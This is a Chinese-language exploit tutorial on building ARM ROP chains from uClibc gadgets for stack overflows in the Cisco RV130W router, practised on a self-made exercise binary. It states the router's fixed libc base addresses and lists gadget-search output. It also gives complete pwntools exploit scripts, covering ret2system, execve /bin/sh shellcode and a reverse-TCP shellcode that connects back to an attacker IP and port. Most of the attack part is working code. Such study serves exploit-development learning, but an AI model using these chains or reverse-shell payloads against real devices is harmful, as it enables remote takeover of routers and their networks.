思科路由器 RV130W 中 ARM:uClibc 的 ROP寻找

在思科的RV130W路由器,因为字符串拷贝存在许多栈溢出漏洞,故利用时要考虑到空字符截断,一般来说存在这种限制条件的漏洞是不容易利用的。但不知为何,在思科这个系列的路由器中,进程加载动态库的地址是固定不变且位于高地址的,故可以通过各种动态库中的gadget来完成整个漏洞的利用,这里抽象出一道练习题进行练习寻找ROP的过程。

附件:cisco_rop.zip

两个常用的rop工具:ROPgadgetRopper

libc基址

在已经公开的对该款路由器的exp中:

可以看到RV130W的基址为0x357fb000,不过这个基址在最新版上有了一点点变化,改为0x357fc000,但是具体原因不详,和之前分析的110W一样,可能都是系统压根没支持随机化。题目中我们方便模拟,直接在程序开始给出了libc基址相关信息:

  qemu-arm -L ./ ./pwntest
gift: f67d80c0

分析程序或者看之后的源码,都容易的发现,恶意数据会被strcpy到栈上引发栈溢出,并且copy后,位于全局变量的源恶意数据会被清空,故程序可控的数据主要还是位于栈上。本篇主要是复现使用libc中的gadget进行ROP寻找以及利用,所以肯定还有其他各种方案,这里分享自己分析出的两种思路:构造ROP使用system函数以及shellcode。

ret2system

想办法把sp给r0,然后system,rop数据后跟cmd

首先来看看我们能直接控制哪些寄存器:

  ROPgadget --binary ./libc.so.0  --only 'pop|ret' 
Gadgets information
============================================================
0x00034410 : pop {r0, pc}
0x00052634 : pop {r1, pc}
0x0000bc30 : pop {r4, pc}
0x0000c35c : pop {r4, r5, pc}
0x0000c19c : pop {r4, r5, r6, pc}
0x0000c060 : pop {r4, r5, r6, r7, pc}
0x0000d128 : pop {r4, r5, r6, r7, r8, pc}
0x00010ca4 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0001a484 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x0000bf44 : pop {r4, r5, r6, r7, r8, sl, pc}
0x0000c124 : pop {r4, r5, r7, pc}
0x0000cb54 : pop {r4, r7, pc}
0x0000bc00 : pop {r7, pc}

从目标sp寄存器倒着找:找找有没有sp给r0,找到如下两条看起来好用的:

  ropper --file ./libc.so.0 --search "mov r0, sp"
0x00041308: mov r0, sp; blx r2; 
0x00037884: mov r0, sp; blx r3; 

如果要用以上的gadget,则需要提前控制r2或者r3,才能让ROP链继续工作,但是我们没有直接控制r2,r3的gadget,所以迂回战术,从可以控制的寄存器入手,找到一条:

   ropper --file ./libc.so.0 --search "mov r2, r0"
0x00041304: mov r2, r0; mov r0, sp; blx r2; 

即通过r0控制r2,这条非常合适,因为这其实就是mov r0, sp,前一条指令,直接省去了一条gadget。故rop链首先使用pop {r0, pc},控制r0为system,pc为mov r2, r0; mov r0, sp; blx r2; ,然后栈地址就会给r0,并跳转到system,exp如下:

from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = process(["qemu-arm","-L",".","./pwntest"])
#io = process(["qemu-arm","-g","1234","-L",".","./pwn"])

io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0

system   = 0x0004d144
pop_r0   = 0x00034410  # pop {r0, pc}
mov_sp   = 0x00041304  # mov r2, r0; mov r0, sp; blx r2;

payload =  p32(libc + pop_r0)
payload += p32(libc + system)    
payload += p32(libc + mov_sp) 
payload += "$0"

io.sendline('a'*36+payload)
io.interactive()

但使用ret2system在真实情景有时不太优雅,一般cmd是去wget下载反弹shell,所以攻击者自己经常要开两个端口,一个web服务等着被攻击者去下载反弹shell的程序,一个端口等着shell来。

ret2shellcode

思考是否能直接使用shellcode进行反弹shell,这样攻击者就省去一个端口。在本题的情景下,恶意数据都在栈上,所以就是想办法凑出类似jmp sp的gadget

转移sp

仍然是从sp倒着找,滤掉一些实际重复、或者看着就很复杂、以及有内存操作指令的gadget:

  ropper --file ./libc.so.0 --nocolor --search "mov ??, sp"  | grep -v "bl #"
0x00041308: mov r0, sp; blx r2; 
0x00037884: mov r0, sp; blx r3; 
0x0001084c: mov r5, sp; mov r2, r0; mov r0, r2; add sp, sp, #0x10; pop {r4, r5, r6, pc}; 
0x0004d120: mov r7, sp; mov r0, r5; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc}; 

看起来sp给到r0,r5,r7都是有希望的。

增加sp

不过因为在rop的过程中,如果提前的将sp给到一个寄存器中,之后再想办法jmp到这个寄存器中,那个寄存器里存的sp指向的一定不是rop尾部的shellcode,所以要想办法让这个寄存器的值变大,指向rop尾部的shellcode才可以,这里有两种思路:

  1. 直接加有了sp赋值的目标寄存器,增加一些过滤条件,找一遍r0,r5,r7
  2. 找sp加立即数的赋值指令

首先来看r0,r5,r7的加法:

  ropper --file ./libc.so.0 --nocolor --search "add ??, r0, ??"  | grep -v -E "bl #|bne #|beq #|b #|bls #|\["  
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5; 
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5; add sp, sp, #4; pop {r4, r5, pc}; 
0x0003f5cc: add r0, r0, #0x20; add sp, sp, #4; pop {r4, r5, pc}; 
0x0003f530: add r0, r0, #0x2380; add r0, r0, #0x14; mov r1, r4; blx r5; 
0x0003f530: add r0, r0, #0x2380; add r0, r0, #0x14; mov r1, r4; blx r5; add sp, sp, #4; pop {r4, r5, pc}; 
0x00052328: add r0, r0, #0x80; pop {r4, pc}; 
0x000522e8: add r0, r0, #0x90; pop {r4, pc}; 
0x000522a8: add r0, r0, #0x94; pop {r4, pc}; 
0x0002bd18: add r0, r0, #1; add sp, sp, #4; pop {r4, r5, pc}; 
0x0002ea5c: add r0, r0, #1; bx lr; 
0x0003fb30: add r0, r0, #8; blx r3; 
0x00018594: add r0, r0, r3; bx lr; 
0x00034a4c: add r3, r0, #1; and r3, r3, #1; add r0, r3, r2; bx lr; 
0x0000c854: add r3, r0, r3; cmp r2, r3; bxhs lr; mov r0, #0; bx lr; 

  ropper --file ./libc.so.0 --nocolor --search "add ??, r5, ??"  | grep -v -E "bl #|bne #|beq #|b #|bls #|\["  
0x0003fca8: add r0, r5, #8; blx r3; 
0x00023598: add r3, r5, r3; add r0, r3, r2; add sp, sp, #4; pop {r4, r5, pc}; 
0x0002d568: add r5, r5, r3; rsb r7, r5, r7; mov r0, r7; add sp, sp, #4; pop {r4, r5, r6, r7, pc}; 

  ropper --file ./libc.so.0 --nocolor --search "add ??, r7, ??"  | grep -v -E "bl #|bne #|beq #|b #|bls #|\

然后找sp加法赋值,这里发现,r1也可以作为转移sp的新目标

  ropper --file ./libc.so.0 --nocolor --search "add r?, sp, ??"  | grep -v "bl #"       
0x0002d260: add r1, sp, #0x10; blx r3; 

故现在sp的转移目标有r0,r1,r5,r7。分析有的gadget不太好用,比如:

0x0003f5cc: add r0, r0, #0x20; add sp, sp, #4; pop {r4, r5, pc}; 

使用这个gadget应该是已经把sp扔到r0里了,但是这个gadget之后还add sp,并且一顿pop,显然我们在这个之后还需要b到r0上,故之后还要拼gadget,要保证给把sp扔到r0时的sp+0x20,能留出这一顿pop和b到r0上的gadget的距离,所以尽量不选用add的比较小,还带pop的gadget,这样很浪费空间,所以综上分析:

  1. 转移sp到r5的gadget,在转移之后要add sp并且一顿pop,所以暂时放弃r5作为转移sp的选择
  2. r7没有直接自加的gadget,故放弃

所以目标还剩r0和r1,找出看着比较有潜力的几条:

r0自加的:
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5; 
0x00052328: add r0, r0, #0x80; pop {r4, pc}; 

sp加立即数给到r1
0x0002d260: add r1, sp, #0x10; blx r3; 

蹦到sp

所以最后要蹦到r1或者r0,在ret2system的gadget中,有一条:

0x00041304: mov r2, r0; mov r0, sp; blx r2; 

这就相当于蹦到r0,那么我们找一下有没有更直接蹦到r1和r0的呢:

  ropper --file ./libc.so.0 --nocolor --search "b?? r0"
0x00048414: blx r0; 

  ropper --file ./libc.so.0 --nocolor --search "b?? r1"

故有r0看起来最方便,当然也可以通过迂回的方式蹦到r1,但是现在看起来没有特别的必要

完整ROP链

经过选定,每一步都有两种还比较合适的方案:

转移sp

0x00041308: mov r0, sp; blx r2; 
0x00037884: mov r0, sp; blx r3; 

增加sp

0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5; 
0x00052328: add r0, r0, #0x80; pop {r4, pc}; 

蹦到sp

0x00048414: blx r0; 
0x00041304: mov r2, r0; mov r0, sp; blx r2; 

选择每个里面看起来约束最少,难度最低的:

0x00041308: mov r0, sp; blx r2; 
0x00052328: add r0, r0, #0x80; pop {r4, pc}; 
0x00048414: blx r0; 

所以只要控制r2即可,最开始我们能控制r0,r1,r4-r8,故从小号寄存器开始找:

   ropper --file ./libc.so.0 --nocolor --search "mov r2, r0" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["  
0x0002dea8: mov r2, r0; asr r3, r2, #0x1f; mov r1, r3; mov r0, r2; bx lr; 
0x00010850: mov r2, r0; mov r0, r2; add sp, sp, #0x10; pop {r4, r5, r6, pc}; 
0x00041304: mov r2, r0; mov r0, sp; blx r2; 

  ropper --file ./libc.so.0 --nocolor --search "mov r2, r1" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["  
0x0003263c: mov r2, r1; mov r0, r2; pop {r4, pc}; 

  ropper --file ./libc.so.0 --nocolor --search "mov r2, r4" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["  
0x0000c11c: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}; 

看r1的那条最顺眼,故使用的所有gadget如下,同控制流顺序:

0x00052634: pop {r1, pc};
0x0003263c: mov r2, r1; mov r0, r2; pop {r4, pc}; 
0x00041308: mov r0, sp; blx r2; 
0x00052328: add r0, r0, #0x80; pop {r4, pc}; 
0x00048414: blx r0; 

拼接方法:

image

最终exp

bin/sh

shellcode: http://shell-storm.org/shellcode/files/shellcode-659.php

from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = process(["qemu-arm","-L",".","./pwntest"])

shellcode  =  "\x02\x20\x42\xe0"  
shellcode  += "\x1c\x30\x8f\xe2" 
shellcode  += "\x04\x30\x8d\xe5" 
shellcode  += "\x08\x20\x8d\xe5" 
shellcode  += "\x13\x02\xa0\xe1" 
shellcode  += "\x07\x20\xc3\xe5" 
shellcode  += "\x04\x30\x8f\xe2" 
shellcode  += "\x04\x10\x8d\xe2" 
shellcode  += "\x01\x20\xc3\xe5" 
shellcode  += "\x0b\x0b\x90\xef" 
shellcode  += "/bin/sh"

io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0

padding  =  0x11111111
payload  =  p32(libc + 0x00052634) # pop {r1, pc};
payload +=  p32(libc + 0x00052328) # add r0, r0, #0x80; pop {r4, pc}; 
payload +=  p32(libc + 0x0003263c) # mov r2, r1; mov r0, r2; pop {r4, pc}; 
payload +=  p32(padding)
payload +=  p32(libc + 0x00041308) # mov r0, sp; blx r2; 
payload +=  p32(padding)
payload +=  p32(libc + 0x00048414) # blx r0; 
payload +=  p32(padding)*0x78
payload +=  shellcode

io.sendline('a'*36+payload)
io.interactive()

reverse_tcp

shellcode: https://www.exploit-db.com/shellcodes/43921

from pwn import *
import thread
context(arch='arm',os='linux',log_level='debug')
shell  = listen(4444)

def gen_addr(ip,port):
    ip   = chr(ip[0])+chr(ip[1])+chr(ip[2])+chr(ip[3])
    port = p32(port)[::-1][2:]
    return ip,port

def attack():
    io   = process(["qemu-arm","-L",".","./pwntest"])
    io.recvuntil("gift: ")
    libc = int(io.recv(),16) - 0x660c0

    ip, port   =  gen_addr([10,10,10,139],4444)   
    shellcode  =  "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27"
    shellcode +=  "\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf"
    shellcode +=  "\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c"
    shellcode +=  "\x01\x31\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf"
    shellcode +=  "\x02\xff"+port+ip+"\x2f\x62\x69\x6e\x2f\x73\x68\x58"

    padding  =  0x11111111
    payload  =  p32(libc + 0x00052634) # pop {r1, pc}
    payload +=  p32(libc + 0x00052328) # add r0, r0, #0x80; pop {r4, pc}; 
    payload +=  p32(libc + 0x0003263c) # mov r2, r1; mov r0, r2; pop {r4, pc}; 
    payload +=  p32(padding)
    payload +=  p32(libc + 0x00041308) # mov r0, sp; blx r2; 
    payload +=  p32(padding)
    payload +=  p32(libc + 0x00048414) # blx r0; 
    payload +=  p32(padding)*0x78
    payload +=  shellcode
    io.sendline('a'*36+payload)

thread.start_new_thread(attack,())
shell.wait_for_connection()
log.success("getshell")
shell.interactive()

烧脑链

之前在真实设备上调的时候,找的链比上面的复杂:

转移sp、增加sp、蹦到sp

0x00041308: mov r0, sp; blx r2; 
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5; 
0x00041304: mov r2, r0; mov r0, sp; blx r2; 

使用r4控制r2

0x0000bc30: pop {r4, pc};
0x0000c11c: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};

故使用的所有gadget如下,同控制流顺序:

0x0000bc30: pop {r4, pc};
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5;
0x0000c11c: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};
0x00041304: mov r2, r0; mov r0, sp; blx r2;
0x00041308: mov r0, sp; blx r2;

拼接时如果是pop pc的控制流,则直接拼接即可。如果是跳转到寄存器的控制流,则将接下来的控制流在pop初始控制寄存器的位置拼接,最终方法如下:

image

from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = process(["qemu-arm","-L",".","./pwntest"])

shellcode  =  "\x02\x20\x42\xe0"  
shellcode  += "\x1c\x30\x8f\xe2" 
shellcode  += "\x04\x30\x8d\xe5" 
shellcode  += "\x08\x20\x8d\xe5" 
shellcode  += "\x13\x02\xa0\xe1" 
shellcode  += "\x07\x20\xc3\xe5" 
shellcode  += "\x04\x30\x8f\xe2" 
shellcode  += "\x04\x10\x8d\xe2" 
shellcode  += "\x01\x20\xc3\xe5" 
shellcode  += "\x0b\x0b\x90\xef" 
shellcode  += "/bin/sh"

io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0

padding = 0x11111111
payload =  p32(libc + 0x0000bc30) # pop {r4, pc};
payload += p32(libc + 0x0003f4f8) # add r0, r0, #0x14; mov r1, r4; blx r5;   
payload += p32(libc + 0x0000c11c) # mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};
payload += p32(padding) 
payload += p32(libc + 0x00041304) # mov r2, r0; mov r0, sp; blx r2;
payload += p32(padding) 
payload += p32(libc + 0x00041308) # mov r0, sp; blx r2;
payload += p32(padding)*5
payload += shellcode

io.sendline('a'*36+payload)
io.interactive()

出题

源码

# include <unistd.h>
# include <stdio.h>

char a[5000];

void vul(){
	char b[32];
	printf("gift: %x\n",stdin);
	read(0,a,5000);
	strcpy(b,a);
	memset(a,0,5000);
}

int main(){
	vul();
	return 0;
}

编译

因为是uclibc,所以不能用:

  • arm-linux-gnueabi-gcc
  • arm-linux-gnueabihf-gcc

在uclibc官网https://www.uclibc.org/,找到使用方法:https://www.uclibc.org/toolchains.html,就是要自己使用buildroot进行编译,不过他们也提供了之前编译好的交叉编译工具,不过一个404,一个下来也不好使。现在对buildroot还没有完整的使用,关于交叉编译之后会单独开一遍详细的,本次只是为了复现ROP寻找过程,故决定继续搜索找个编译好的直接用。

Google搜索:uclibc arm toolchain,找到:http://download.ronetix.info/toolchains/arm/,其中ronetix-arm-linux-uclibc-4.1.2.tar.bz2,可以完成本工作,使用方法如下:

sudo mkdir -p /home/danov/ronetix/buildroot/build_arm/staging_dir/lib
➜  cp -r ./home/ronetix/arm-linux-uclibc/lib/* /home/danov/ronetix/buildroot/build_arm/staging_dir/lib
➜  ./home/ronetix/arm-linux-uclibc/bin/arm-linux-uclibc-gcc  main.c  -o pwntest

但是编译出来的函数在序言时会将sp压栈,尾声时会将sp出栈,如果是这样的话,栈溢出直接破坏了sp指针,如果内存里没有预先放好位置的gadget,也就没法rop了,不知道为啥编译器这么搞,正常arm程序应该不会这样:

.text:000085D8 00 D8 2D E9                 PUSH            {R11,R12,LR,PC}
...
.text:00008640 00 A8 9D E8                 LDMFD           SP, {R11,SP,PC}

为了方便题目练习,所以用IDA的keypatch修改了一下:

.text:000085D8 00 C8 2D E9                 PUSH            {R11,LR,PC}
...
.text:00008640 00 88 9D E8                 LDMFD           SP, {R11,PC}

其他参考

下次写buildroot的时候用